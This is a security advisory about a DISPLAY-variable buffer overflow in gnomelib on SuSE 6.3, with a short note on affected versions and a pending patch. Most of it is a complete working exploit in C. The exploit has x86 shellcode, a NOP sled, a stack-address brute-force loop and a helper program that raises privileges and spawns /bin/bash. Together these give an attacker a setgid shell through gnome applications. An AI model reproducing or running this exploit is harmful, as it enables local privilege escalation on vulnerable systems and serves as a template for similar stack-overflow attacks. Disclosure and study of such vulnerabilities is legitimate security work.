COMMAND

    Gnomelib

SYSTEMS AFFECTED

    SuSE 6.3 Gnomelib

PROBLEM

    'bladi'  posted  following.   All  gnome  apps have an exploitable
    buffer overflow (gnomelib) when get DISPLAY environment  variable.
    Affected  is  S.u.S.E  Linux:  6.3  and not vulnerable RedHat 6.x,
    Linpus Linux release 6.3 and Debian.

    /*
    Gnomelib exploit by bladi & aLmUDeNa


                      NoTe:
    don't forget to put 6M in /tmp
    ---------(6M.c)---------
    void main() {
        setuid(geteuid());
        setregid(getegid(), getegid());
        system("/bin/bash");
                }
    ---------(6M.c)---------

    Bueno un saludo a todos los que nos conocen/quieren/odian,
    bueno ya llevamos 6 meses y esperamos que dure mucho mas ;*


                                    bladi@euskalnet.net
                                    almudena@hempcultivation.com
    */
    #include <stdio.h>
    #include <stdlib.h>
    #define NOP                              0x90
    #define RANFROM                         -1400
    #define RANTO                            -300

    int i,x;
    char *ptr;
    unsigned long *ptr2;
    char execshell[] =
    "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
    "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
    "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/tmp/6M";
    char buffer[164];

    main(int argc, char *argv[])
    {                          long get_sp(void)
    {
    __asm__("movl %esp,%eax\n");
    }
    printf (" jpuff    ver: 1.0  \n");
    printf ("         by         \n");
    printf (" bladi & aLmUDeNa\n\n");
    if (argc < 2 )
        {
        printf(" Usage ./jpuff <gnome app>\n");
        printf("    Try: ./jpuff /opt/gnome/bin/sol => you gain
    gid=40(game)\n");
        exit(1);
        }
    for (x=RANFROM;x<RANTO;x=13+x)
        {
        for(i=0;i<164;i++)
            buffer[i]=0x00;
        ptr=buffer;
          for(i=0;i<22;i++)
              *(ptr++)=NOP;
        for(i=0;i<strlen(execshell);i++)
              *(ptr++)=execshell[i];
        ptr2=(long *)ptr;
        for(i=0;i<20;i++)
              *(ptr2++)=get_sp()+x;
         setenv("DISPLAY",buffer,1);
        system(argv[1]);
        }
    printf("\n- --( ExPLoIT DoNE )-- -\n");
    printf("Have a lot of fun... ;*\n\n");
    return 0;
    }

SOLUTION

    SuSE  6.3   includes  just   one  SUGID   gnome  app   and  that's
    /opt/gnome/sbin/gnome-pty-helper, which is setgid tty.  Only  SuSE
    6.4 includes setgid gnome games but it is _not_ vulnerable to this
    exploit.   This bug  doesn't depend  on the  Linux distributor, it
    depends on  the gnome  version.   SuSE is  working for  a patch...
    stay tuned.